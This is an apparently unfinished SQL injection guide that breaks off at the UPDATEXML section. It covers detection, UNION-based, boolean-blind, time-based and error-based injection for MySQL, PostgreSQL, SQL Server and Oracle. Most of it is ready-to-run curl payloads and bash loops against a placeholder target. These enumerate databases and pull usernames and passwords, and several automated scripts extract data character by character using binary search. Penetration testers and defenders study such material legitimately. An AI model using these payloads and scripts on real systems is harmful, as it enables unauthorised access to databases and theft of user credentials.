This guide is currently under development, and I greatly welcome any suggestions or feedback or at reaper.gitbook@gmail.com

SQL injection (all variants)


Understanding SQL Injection

What is SQL Injection?

SQL injection exploits the way web applications construct SQL queries by inserting malicious SQL code through user input fields. When applications fail to properly validate, sanitize, or parameterize user input, attackers can manipulate the intended SQL query structure to execute arbitrary database commands.

How SQL Injection Works

  • Vulnerable Code Example:

$query = "SELECT * FROM users WHERE id = " . $_GET['id'];
$result = mysqli_query($connection, $query);
  • Normal Request:

GET /page.php?id=1
SQL Query: SELECT * FROM users WHERE id = 1
  • Malicious Request:

GET /page.php?id=1 OR 1=1
SQL Query: SELECT * FROM users WHERE id = 1 OR 1=1

Common Vulnerable Input Points

GET Parameters:

  • URL query string parameters

  • Path parameters in RESTful APIs

  • Fragment identifiers

POST Parameters:

  • Form input fields

  • Hidden form fields

  • File upload parameters

HTTP Headers:

  • User-Agent strings

  • X-Forwarded-For headers

  • Custom application headers

Cookies:

  • Session identifiers

  • User preference cookies

  • Authentication tokens

JSON and XML Data:

  • API request bodies

  • Configuration parameters

  • Data interchange formats


SQL Injection Detection

Basic Syntax Testing

  • Single Quote Testing:

# Basic single quote injection
curl "https://<target>/page.php?id=1'"
curl "https://<target>/page.php?id=1''"
curl "https://<target>/page.php?id=1'''"

# POST parameter testing
curl -X POST -d "username=admin'&password=test" https://<target>/login.php
curl -X POST -d "search=test'&category=all" https://<target>/search.php
  • Double Quote Testing:

# Double quote variations
curl "https://<target>/page.php?id=1\""
curl "https://<target>/page.php?id=1\"\""
curl "https://<target>/page.php?id=1\\\"

# JSON parameter testing
curl -X POST -H "Content-Type: application/json" \
     -d '{"id": "1\"", "action": "view"}' \
     https://<target>/api/user
  • Backslash and Escape Character Testing:

# Backslash testing
curl "https://<target>/page.php?id=1\\"
curl "https://<target>/page.php?id=1\\\\"

# Escape sequence testing
curl "https://<target>/page.php?id=1%5c"  # URL encoded backslash
curl "https://<target>/page.php?id=1%27"  # URL encoded single quote
  • Comment Injection Tests:

# MySQL comment styles
curl "https://<target>/page.php?id=1--"
curl "https://<target>/page.php?id=1-- comment"
curl "https://<target>/page.php?id=1#"
curl "https://<target>/page.php?id=1/*comment*/"

# SQL Server comment styles
curl "https://<target>/page.php?id=1--"
curl "https://<target>/page.php?id=1/*comment*/"

# PostgreSQL comment styles
curl "https://<target>/page.php?id=1--"
curl "https://<target>/page.php?id=1/*comment*/"

Boolean Logic Testing

  • True/False Condition Testing:

# Always true conditions
curl "https://<target>/page.php?id=1 AND 1=1"
curl "https://<target>/page.php?id=1 OR 1=1"
curl "https://<target>/page.php?id=1 AND 'a'='a'"

# Always false conditions
curl "https://<target>/page.php?id=1 AND 1=2"
curl "https://<target>/page.php?id=1 AND 'a'='b'"
curl "https://<target>/page.php?id=1 AND 1=0"

# Arithmetic operations
curl "https://<target>/page.php?id=1-0"
curl "https://<target>/page.php?id=1*1"
curl "https://<target>/page.php?id=1/1"
curl "https://<target>/page.php?id=1+0"

Error-Based Detection

  • MySQL Error Signatures:

# Trigger MySQL errors
curl "https://<target>/page.php?id=1'" | grep -i -E "(mysql_fetch_array|mysql syntax|mysql_query|mysql_connect|mysql_num_rows)"

# MySQL version-specific errors
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION(), 0x7e))--" | grep -i "xpath syntax error"

# MySQL function errors
curl "https://<target>/page.php?id=1' AND (SELECT COUNT(*) FROM information_schema.tables)>1000000000--"
  • PostgreSQL Error Signatures:

# Trigger PostgreSQL errors
curl "https://<target>/page.php?id=1'" | grep -i -E "(postgresql|pg_query|pg_exec|pg_connect|syntax error at or near)"

# PostgreSQL casting errors
curl "https://<target>/page.php?id=1' AND CAST((SELECT version()) AS int)--"

# PostgreSQL function errors
curl "https://<target>/page.php?id=1' AND ASCII(CHR(65))>1000000--"
  • SQL Server Error Signatures:

# Trigger SQL Server errors
curl "https://<target>/page.php?id=1'" | grep -i -E "(microsoft ole db|odbc sql server|sql server|unclosed quotation mark)"

# SQL Server conversion errors
curl "https://<target>/page.php?id=1' AND CONVERT(int, @@version)--"

# SQL Server function errors
curl "https://<target>/page.php?id=1' AND LEN((SELECT TOP 1 name FROM sysobjects))>1000000--"
  • Oracle Error Signatures:

# Trigger Oracle errors
curl "https://<target>/page.php?id=1'" | grep -i -E "(ORA-[0-9]+|oracle error|quoted string not properly terminated)"

# Oracle specific errors
curl "https://<target>/page.php?id=1' AND CTXSYS.DRITHSX.SN(1,(SELECT user FROM dual))=1--"

# Oracle conversion errors
curl "https://<target>/page.php?id=1' AND TO_NUMBER((SELECT banner FROM v\$version WHERE rownum=1))=1--"

Response Analysis

  • Response Timing

# Measure normal response times
for i in {1..10}; do
    time curl -s "https://<target>/page.php?id=1" > /dev/null
done

# Measure response time patterns
time curl -s "https://<target>/page.php?id=1 AND 1=1" > /dev/null
time curl -s "https://<target>/page.php?id=1 AND 1=2" > /dev/null
  • Content Length

# Compare response sizes
curl -s "https://<target>/page.php?id=1 AND 1=1" | wc -c
curl -s "https://<target>/page.php?id=1 AND 1=2" | wc -c

# Automated size comparison
true_size=$(curl -s "https://<target>/page.php?id=1 AND 1=1" | wc -c)
false_size=$(curl -s "https://<target>/page.php?id=1 AND 1=2" | wc -c)
echo "True condition size: $true_size"
echo "False condition size: $false_size"
  • HTTP Status Code

# Check status codes for different conditions
curl -s -o /dev/null -w "%{http_code}" "https://<target>/page.php?id=1 AND 1=1"
curl -s -o /dev/null -w "%{http_code}" "https://<target>/page.php?id=1 AND 1=2"
curl -s -o /dev/null -w "%{http_code}" "https://<target>/page.php?id=1'"

Union-Based SQL Injection

Purpose

Union-based injection leverages the UNION SQL operator to combine results from multiple SELECT statements, allowing attackers to extract data from any accessible database table. This technique is highly effective when the application displays query results directly to the user.

Prerequisites for Union Injection

Requirements:

  1. Application must display query results

  2. Injected query must have same number of columns

  3. Data types must be compatible

  4. UNION operator must be supported by database

Extracting Column Count

ORDER BY Method

  • Sequential Column Discovery:

# Start with ORDER BY 1 and increment
curl "https://<target>/page.php?id=1' ORDER BY 1--"  # Should work
curl "https://<target>/page.php?id=1' ORDER BY 2--"  # Should work
curl "https://<target>/page.php?id=1' ORDER BY 3--"  # Should work
curl "https://<target>/page.php?id=1' ORDER BY 4--"  # Continue until error

# Automated column detection script
for i in {1..20}; do
    response=$(curl -s "https://<target>/page.php?id=1' ORDER BY $i--")
    if echo "$response" | grep -i -q "error\|unknown column\|invalid"; then
        echo "Maximum columns: $((i-1))"
        break
    fi
    echo "Column $i exists"
done
  • Binary Search Optimization:

# Start with midpoint to reduce requests
curl "https://<target>/page.php?id=1' ORDER BY 10--"
# If error, try 5; if success, try 15
curl "https://<target>/page.php?id=1' ORDER BY 5--"
# Continue binary search pattern

UNION SELECT Method

  • NULL Value Testing:

# Start with single column
curl "https://<target>/page.php?id=-1' UNION SELECT NULL--"

# Add columns until no error
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL,NULL,NULL,NULL--"

# Use non-existent ID to avoid original results
curl "https://<target>/page.php?id=999999' UNION SELECT NULL,NULL,NULL,NULL--"

Data Type Identification

  • String:

# Test each column position for string compatibility
curl "https://<target>/page.php?id=-1' UNION SELECT 'a',NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,'a',NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL,'a',NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL,NULL,'a'--"

# Test with longer strings
curl "https://<target>/page.php?id=-1' UNION SELECT 'test',NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,'test',NULL,NULL--"

# Test with special characters
curl "https://<target>/page.php?id=-1' UNION SELECT '@#$%',NULL,NULL,NULL--"
  • Integer:

# Test numeric columns
curl "https://<target>/page.php?id=-1' UNION SELECT 1,NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,1,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL,1,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,NULL,NULL,1--"

# Test with larger numbers
curl "https://<target>/page.php?id=-1' UNION SELECT 999999,NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT NULL,999999,NULL,NULL--"
  • Mixed Data Types:

# Test mixed compatible types
curl "https://<target>/page.php?id=-1' UNION SELECT 1,'string',NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT 'string',1,NULL,NULL--"

# Test all string (most compatible)
curl "https://<target>/page.php?id=-1' UNION SELECT '1','2','3','4'--"

Database Information Extraction

MySQL Information Schema Exploitation

  • Database Enumeration:

# Current database version
curl "https://<target>/page.php?id=-1' UNION SELECT VERSION(),NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT @@VERSION,NULL,NULL,NULL--"

# Current database name
curl "https://<target>/page.php?id=-1' UNION SELECT DATABASE(),NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT SCHEMA(),NULL,NULL,NULL--"

# Current user
curl "https://<target>/page.php?id=-1' UNION SELECT USER(),NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT CURRENT_USER(),NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT SYSTEM_USER(),NULL,NULL,NULL--"

# Database listing
curl "https://<target>/page.php?id=-1' UNION SELECT schema_name,NULL,NULL,NULL FROM information_schema.schemata--"

# Count databases
curl "https://<target>/page.php?id=-1' UNION SELECT COUNT(*),NULL,NULL,NULL FROM information_schema.schemata--"
  • Table Enumeration:

# Tables in current database
curl "https://<target>/page.php?id=-1' UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=DATABASE()--"

# Tables in all databases
curl "https://<target>/page.php?id=-1' UNION SELECT CONCAT(table_schema,'.',table_name),NULL,NULL,NULL FROM information_schema.tables--"

# Count tables
curl "https://<target>/page.php?id=-1' UNION SELECT COUNT(*),NULL,NULL,NULL FROM information_schema.tables WHERE table_schema=DATABASE()--"

# Table types
curl "https://<target>/page.php?id=-1' UNION SELECT table_name,table_type,NULL,NULL FROM information_schema.tables WHERE table_schema=DATABASE()--"
  • Column Enumeration:

# Columns in specific table
curl "https://<target>/page.php?id=-1' UNION SELECT column_name,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'--"

# Column details
curl "https://<target>/page.php?id=-1' UNION SELECT column_name,data_type,NULL,NULL FROM information_schema.columns WHERE table_name='users'--"

# Column count in table
curl "https://<target>/page.php?id=-1' UNION SELECT COUNT(*),NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users'--"

# All columns with table names
curl "https://<target>/page.php?id=-1' UNION SELECT CONCAT(table_name,'.',column_name),data_type,NULL,NULL FROM information_schema.columns WHERE table_schema=DATABASE()--"

PostgreSQL Information Extraction

  • System Information:

# PostgreSQL version
curl "https://<target>/page.php?id=-1' UNION SELECT version(),NULL,NULL,NULL--"

# Current database
curl "https://<target>/page.php?id=-1' UNION SELECT current_database(),NULL,NULL,NULL--"

# Current user
curl "https://<target>/page.php?id=-1' UNION SELECT current_user,NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT user,NULL,NULL,NULL--"

# Current schema
curl "https://<target>/page.php?id=-1' UNION SELECT current_schema(),NULL,NULL,NULL--"
  • Database Schema Enumeration:

# List databases
curl "https://<target>/page.php?id=-1' UNION SELECT datname,NULL,NULL,NULL FROM pg_database--"

# List tables
curl "https://<target>/page.php?id=-1' UNION SELECT tablename,NULL,NULL,NULL FROM pg_tables WHERE schemaname='public'--"

# List columns
curl "https://<target>/page.php?id=-1' UNION SELECT column_name,data_type,NULL,NULL FROM information_schema.columns WHERE table_name='users'--"

# List functions
curl "https://<target>/page.php?id=-1' UNION SELECT routine_name,NULL,NULL,NULL FROM information_schema.routines--"

SQL Server Information Extraction

  • System Information:

# SQL Server version
curl "https://<target>/page.php?id=-1' UNION SELECT @@VERSION,NULL,NULL,NULL--"

# Current database
curl "https://<target>/page.php?id=-1' UNION SELECT DB_NAME(),NULL,NULL,NULL--"

# Current user
curl "https://<target>/page.php?id=-1' UNION SELECT SYSTEM_USER,NULL,NULL,NULL--"
curl "https://<target>/page.php?id=-1' UNION SELECT USER_NAME(),NULL,NULL,NULL--"

# Server name
curl "https://<target>/page.php?id=-1' UNION SELECT @@SERVERNAME,NULL,NULL,NULL--"
  • Database Schema Information:

# List databases
curl "https://<target>/page.php?id=-1' UNION SELECT name,NULL,NULL,NULL FROM sys.databases--"

# List tables
curl "https://<target>/page.php?id=-1' UNION SELECT name,NULL,NULL,NULL FROM sys.tables--"

# List columns
curl "https://<target>/page.php?id=-1' UNION SELECT column_name,data_type,NULL,NULL FROM information_schema.columns WHERE table_name='users'--"

# System tables
curl "https://<target>/page.php?id=-1' UNION SELECT name,NULL,NULL,NULL FROM sys.objects WHERE type='U'--"

Data Extraction Techniques

  • Basic Data Extraction:

# Extract usernames and passwords
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users--"

# Extract with row identification
curl "https://<target>/page.php?id=-1' UNION SELECT id,username,password,email FROM users--"

# Extract specific user
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users WHERE username='admin'--"
  • Data Concatenation:

# MySQL concatenation
curl "https://<target>/page.php?id=-1' UNION SELECT CONCAT(username,':',password),NULL,NULL,NULL FROM users--"
curl "https://<target>/page.php?id=-1' UNION SELECT CONCAT(username,'|',password,'|',email),NULL,NULL,NULL FROM users--"

# PostgreSQL concatenation
curl "https://<target>/page.php?id=-1' UNION SELECT username||':'||password,NULL,NULL,NULL FROM users--"

# SQL Server concatenation
curl "https://<target>/page.php?id=-1' UNION SELECT username+':'+password,NULL,NULL,NULL FROM users--"

Row-by-Row Extraction

  • LIMIT-Based Extraction (MySQL/PostgreSQL):

# First user
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users LIMIT 0,1--"

# Second user
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users LIMIT 1,1--"

# Third user
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users LIMIT 2,1--"

# Automated extraction
for i in {0..10}; do
    echo "Extracting user $((i+1)):"
    curl -s "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users LIMIT $i,1--"
done
  • TOP-Based Extraction (SQL Server):

# First user
curl "https://<target>/page.php?id=-1' UNION SELECT TOP 1 username,password,NULL,NULL FROM users--"

# Subsequent users with exclusion
curl "https://<target>/page.php?id=-1' UNION SELECT TOP 1 username,password,NULL,NULL FROM users WHERE username NOT IN ('first_user')--"
  • ROWNUM-Based Extraction (Oracle):

# First user
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users WHERE ROWNUM=1--"

# Specific row ranges
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM (SELECT username,password,ROWNUM as rn FROM users) WHERE rn=2--"

Advanced Data Extraction

  • Conditional Data Extraction:

# Extract admin users only
curl "https://<target>/page.php?id=-1' UNION SELECT username,password,NULL,NULL FROM users WHERE role='admin'--"

# Extract recent users
curl "https://<target>/page.php?id=-1' UNION SELECT username,created_date,NULL,NULL FROM users WHERE created_date > '2023-01-01'--"

# Extract users with specific privileges
curl "https://<target>/page.php?id=-1' UNION SELECT username,privileges,NULL,NULL FROM users WHERE privileges LIKE '%admin%'--"
  • Nested Query Extraction:

# Count-based extraction
curl "https://<target>/page.php?id=-1' UNION SELECT (SELECT COUNT(*) FROM users),NULL,NULL,NULL--"

# Subquery data extraction
curl "https://<target>/page.php?id=-1' UNION SELECT (SELECT username FROM users WHERE id=1),NULL,NULL,NULL--"

# Maximum/minimum values
curl "https://<target>/page.php?id=-1' UNION SELECT MAX(id),MIN(id),NULL,NULL FROM users--"

Boolean-Based Blind SQL Injection

Purpose

Boolean-based blind injection exploits applications that don't return database errors or query results but show different responses (page content, HTTP status codes, or response times) for true and false conditions. This technique relies on inferring information through the application's behavior rather than direct data output.

Detection and Baseline Comparison

  • Baseline:

# Normal request baseline
curl -s "https://<target>/page.php?id=1" -o baseline_normal.html

# True condition response
curl -s "https://<target>/page.php?id=1 AND 1=1" -o baseline_true.html

# False condition response
curl -s "https://<target>/page.php?id=1 AND 1=2" -o baseline_false.html

# Compare responses
diff baseline_normal.html baseline_true.html
diff baseline_true.html baseline_false.html

# Check response sizes
wc -c baseline_*.html
  • Response Pattern:

# HTTP status code patterns
curl -s -o /dev/null -w "%{http_code}" "https://<target>/page.php?id=1 AND 1=1"
curl -s -o /dev/null -w "%{http_code}" "https://<target>/page.php?id=1 AND 1=2"

# Response time patterns
time curl -s "https://<target>/page.php?id=1 AND 1=1" > /dev/null
time curl -s "https://<target>/page.php?id=1 AND 1=2" > /dev/null

# Content-based patterns
curl -s "https://<target>/page.php?id=1 AND 1=1" | grep -c "welcome\|success\|found"
curl -s "https://<target>/page.php?id=1 AND 1=2" | grep -c "welcome\|success\|found"

Database Information Extraction

Database Version Discovery

  • MySQL Version Extraction:

# Check if MySQL
curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING(@@version,1,1))='5'--" | grep -q "pattern_for_true" && echo "MySQL 5.x"
curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING(@@version,1,1))='8'--" | grep -q "pattern_for_true" && echo "MySQL 8.x"

# Extract version character by character
for i in {1..20}; do
    for char in {0..9} {A..Z} {a..z} '.' '-' '_'; do
        response=$(curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING(@@version,$i,1))='$char'--")
        if echo "$response" | grep -q "pattern_for_true"; then
            echo -n "$char"
            break
        fi
    done
done
echo ""
  • PostgreSQL Version Extraction:

# Check PostgreSQL version
curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING(version(),1,10))='PostgreSQL'--"

# Extract major version
for version in {9..15}; do
    response=$(curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING(version(),12,2))='$version'--")
    if echo "$response" | grep -q "pattern_for_true"; then
        echo "PostgreSQL $version.x detected"
        break
    fi
done

Database Name Extraction

Character-by-Character Database Name:

# Determine database name length
for length in {1..50}; do
    response=$(curl -s "https://<target>/page.php?id=1' AND LENGTH(DATABASE())=$length--")
    if echo "$response" | grep -q "pattern_for_true"; then
        echo "Database name length: $length"
        db_length=$length
        break
    fi
done

# Extract database name character by character
db_name=""
for i in $(seq 1 $db_length); do
    for char in {A..Z} {a..z} {0..9} '_' '-'; do
        response=$(curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING(DATABASE(),$i,1))='$char'--")
        if echo "$response" | grep -q "pattern_for_true"; then
            db_name="${db_name}${char}"
            echo -n "$char"
            break
        fi
    done
done
echo ""
echo "Database name: $db_name"

Table Discovery

Table Count Determination:

# Determine number of tables
for count in {1..100}; do
    response=$(curl -s "https://<target>/page.php?id=1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())=$count--")
    if echo "$response" | grep -q "pattern_for_true"; then
        echo "Number of tables: $count"
        break
    fi
done

Table Name Extraction:

# Extract first table name
for i in {1..50}; do
    for char in {A..Z} {a..z} {0..9} '_' '-'; do
        response=$(curl -s "https://<target>/page.php?id=1' AND (SELECT SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),$i,1))='$char'--")
        if echo "$response" | grep -q "pattern_for_true"; then
            echo -n "$char"
            break
        fi
    done
done
echo ""

Advanced Boolean Techniques

Binary Search

  • ASCII Binary Search:

# Binary search for character values (much faster)
extract_char_binary() {
    local position=$1
    local query=$2
    local min=32
    local max=126
    
    while [ $min -le $max ]; do
        local mid=$(( (min + max) / 2 ))
        response=$(curl -s "https://<target>/page.php?id=1' AND ASCII(SUBSTRING(($query),$position,1))>$mid--")
        
        if echo "$response" | grep -q "pattern_for_true"; then
            min=$((mid + 1))
        else
            max=$((mid - 1))
        fi
    done
    
    echo -n "$(printf \\$(printf '%03o' $max))"
}

# Extract database name using binary search
db_name=""
for i in {1..20}; do
    char=$(extract_char_binary $i "SELECT DATABASE()")
    if [ -z "$char" ]; then
        break
    fi
    db_name="${db_name}${char}"
done
echo "Database: $db_name"

Conditional Logic Exploitation

  • IF/CASE Statement Injection

MySQL IF Statement:

# Conditional extraction using IF
curl -s "https://<target>/page.php?id=1' AND IF((SELECT COUNT(*) FROM users)>10, 1, 0)=1--"

# Extract data with IF conditions
curl -s "https://<target>/page.php?id=1' AND IF((SELECT SUBSTRING(username,1,1) FROM users LIMIT 0,1)='a', 1, 0)=1--"

PostgreSQL CASE Statement:

# Conditional extraction using CASE
curl -s "https://<target>/page.php?id=1' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM users)>10 THEN 1 ELSE 0 END)=1--"

# Extract data with CASE conditions
curl -s "https://<target>/page.php?id=1' AND (SELECT CASE WHEN SUBSTRING(username,1,1)='a' THEN 1 ELSE 0 END FROM users LIMIT 1)=1--"

SQL Server CASE Statement:

# SQL Server conditional logic
curl -s "https://<target>/page.php?id=1' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM users)>10 THEN 1 ELSE 0 END)=1--"

# Character extraction with CASE
curl -s "https://<target>/page.php?id=1' AND (SELECT CASE WHEN SUBSTRING(username,1,1)='a' THEN 1 ELSE 0 END FROM users WHERE id=1)=1--"

Time-Based Blind SQL Injection

Purpose

Time-based injection exploits applications by causing deliberate delays in database responses to infer information when no visible output differences exist. This technique is useful when applications show identical responses regardless of query results but still process the injected SQL.

Database-Specific Time Delay Functions

MySQL Time Delays

  • SLEEP Function:

# Basic sleep test
curl "https://<target>/page.php?id=1' AND SLEEP(5)--"

# Conditional sleep
curl "https://<target>/page.php?id=1' AND IF(1=1, SLEEP(5), 0)--"
curl "https://<target>/page.php?id=1' AND IF(1=2, SLEEP(5), 0)--"

# Nested conditional sleep
curl "https://<target>/page.php?id=1' AND IF((SELECT COUNT(*) FROM users)>0, SLEEP(5), 0)--"

# Sleep with subqueries
curl "https://<target>/page.php?id=1' AND IF((SELECT LENGTH(DATABASE()))>5, SLEEP(5), 0)--"
  • BENCHMARK Function:

# CPU-intensive delay using BENCHMARK
curl "https://<target>/page.php?id=1' AND BENCHMARK(5000000, MD5(1))--"

# Conditional BENCHMARK
curl "https://<target>/page.php?id=1' AND IF(1=1, BENCHMARK(5000000, MD5(1)), 0)--"

# Variable delay based on condition
curl "https://<target>/page.php?id=1' AND IF((SELECT COUNT(*) FROM users)>10, BENCHMARK(10000000, MD5(1)), BENCHMARK(1000000, MD5(1)))--"

PostgreSQL Time Delays

  • pg_sleep Function:

# Basic PostgreSQL sleep
curl "https://<target>/page.php?id=1' AND pg_sleep(5)--"

# Conditional sleep with CASE
curl "https://<target>/page.php?id=1' AND (SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE 0 END)--"

# Sleep with subquery conditions
curl "https://<target>/page.php?id=1' AND (SELECT CASE WHEN (SELECT COUNT(*) FROM users)>0 THEN pg_sleep(5) ELSE 0 END)--"
  • generate_series Delay:

# Alternative delay method
curl "https://<target>/page.php?id=1' AND (SELECT COUNT(*) FROM generate_series(1,1000000))>0--"

# Conditional generate_series delay
curl "https://<target>/page.php?id=1' AND (SELECT CASE WHEN 1=1 THEN (SELECT COUNT(*) FROM generate_series(1,2000000)) ELSE 0 END)>0--"

SQL Server Time Delays

  • WAITFOR DELAY:

# Basic SQL Server delay
curl "https://<target>/page.php?id=1'; WAITFOR DELAY '00:00:05'--"

# Conditional delay
curl "https://<target>/page.php?id=1'; IF 1=1 WAITFOR DELAY '00:00:05'--"
curl "https://<target>/page.php?id=1'; IF 1=2 WAITFOR DELAY '00:00:05'--"

# Subquery conditional delay
curl "https://<target>/page.php?id=1'; IF (SELECT COUNT(*) FROM users)>0 WAITFOR DELAY '00:00:05'--"

Oracle Time Delays

  • DBMS_LOCK.SLEEP:

# Oracle sleep function
curl "https://<target>/page.php?id=1' AND (SELECT DBMS_LOCK.SLEEP(5) FROM dual)=0--"

# Conditional Oracle delay
curl "https://<target>/page.php?id=1' AND (SELECT CASE WHEN 1=1 THEN DBMS_LOCK.SLEEP(5) ELSE 0 END FROM dual)=0--"

Time-Based Data Extraction

Character-by-Character Extraction

  • Database Name Extraction:

# Extract database name length with timing
for length in {1..20}; do
    start_time=$(date +%s)
    curl -s "https://<target>/page.php?id=1' AND IF(LENGTH(DATABASE())=$length, SLEEP(3), 0)--" > /dev/null
    end_time=$(date +%s)
    
    if [ $((end_time - start_time)) -ge 3 ]; then
        echo "Database name length: $length"
        db_length=$length
        break
    fi
done

# Extract database name character by character
db_name=""
for position in $(seq 1 $db_length); do
    for ascii_val in {65..90} {97..122} {48..57} 95; do  # A-Z, a-z, 0-9, _
        char=$(printf \\$(printf '%03o' $ascii_val))
        
        start_time=$(date +%s.%N)
        curl -s "https://<target>/page.php?id=1' AND IF(ASCII(SUBSTRING(DATABASE(),$position,1))=$ascii_val, SLEEP(2), 0)--" > /dev/null
        end_time=$(date +%s.%N)
        
        elapsed=$(echo "$end_time - $start_time" | bc)
        if (( $(echo "$elapsed > 1.5" | bc -l) )); then
            db_name="${db_name}${char}"
            echo "Position $position: $char"
            break
        fi
    done
done
echo "Database name: $db_name"
  • Data Extraction:

# Extract first username with timing
extract_username_char() {
    local position=$1
    
    for ascii_val in {65..90} {97..122} {48..57} 95; do
        char=$(printf \\$(printf '%03o' $ascii_val))
        
        start_time=$(date +%s.%N)
        curl -s "https://<target>/page.php?id=1' AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 0,1),$position,1))=$ascii_val, SLEEP(2), 0)--" > /dev/null
        end_time=$(date +%s.%N)
        
        elapsed=$(echo "$end_time - $start_time" | bc)
        if (( $(echo "$elapsed > 1.5" | bc -l) )); then
            echo -n "$char"
            return 0
        fi
    done
    return 1
}

# Extract complete username
username=""
for i in {1..50}; do
    if extract_username_char $i; then
        continue
    else
        break
    fi
done
echo ""
echo "Username: $username"

Advanced Time-Based Extraction

  • Binary Search for ASCII Values:

extract_char_time_binary() {
    local position=$1
    local query=$2
    local min=32
    local max=126
    
    while [ $min -le $max ]; do
        local mid=$(( (min + max) / 2 ))
        
        start_time=$(date +%s.%N)
        curl -s "https://<target>/page.php?id=1' AND IF(ASCII(SUBSTRING(($query),$position,1))>$mid, SLEEP(2), 0)--" > /dev/null
        end_time=$(date +%s.%N)
        
        elapsed=$(echo "$end_time - $start_time" | bc)
        if (( $(echo "$elapsed > 1.5" | bc -l) )); then
            min=$((mid + 1))
        else
            max=$((mid - 1))
        fi
    done
    
    printf \\$(printf '%03o' $max)
}

# Extract database name using binary search (much faster)
db_name=""
for i in {1..20}; do
    char=$(extract_char_time_binary $i "SELECT DATABASE()")
    if [ "$char" = " " ] || [ -z "$char" ]; then
        break
    fi
    db_name="${db_name}${char}"
done
echo "Database: $db_name"

Error-Based SQL Injection

Purpose

Error-based injection exploits verbose database error messages to extract data directly from error responses. This technique leverages database functions that generate errors containing the desired data, making extraction faster than blind techniques.

MySQL Error-Based Techniques

EXTRACTVALUE Function

  • Basic EXTRACTVALUE Usage:

# Extract database version
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION(), 0x7e))--"

# Extract database name
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e))--"

# Extract current user
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, USER(), 0x7e))--"

# Extract system information
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, @@hostname, 0x7e))--"
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, @@datadir, 0x7e))--"
  • Advanced EXTRACTVALUE Queries:

# Extract table names
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 0x7e))--"

# Extract column names
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1), 0x7e))--"

# Extract user data
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username,':',password) FROM users LIMIT 0,1), 0x7e))--"

# Multiple column extraction
curl "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username,'|',email,'|',role) FROM users LIMIT 0,1), 0x7e))--"
  • Row-by-Row EXTRACTVALUE Extraction:

# Extract multiple rows using LIMIT
for i in {0..10}; do
    echo "Row $((i+1)):"
    curl -s "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username,':',password) FROM users LIMIT $i,1), 0x7e))--" | grep -o "XPATH syntax error: '[^']*'"
done

# Extract all table names
for i in {0..20}; do
    result=$(curl -s "https://<target>/page.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT $i,1), 0x7e))--")
    if echo "$result" | grep -q "XPATH syntax error"; then
        echo "$result" | grep -o "XPATH syntax error: '[^']*'"
    else
        break
    fi
done

UPDATEXML Function

Basic UPDATEXML Usage:

# Extract database information
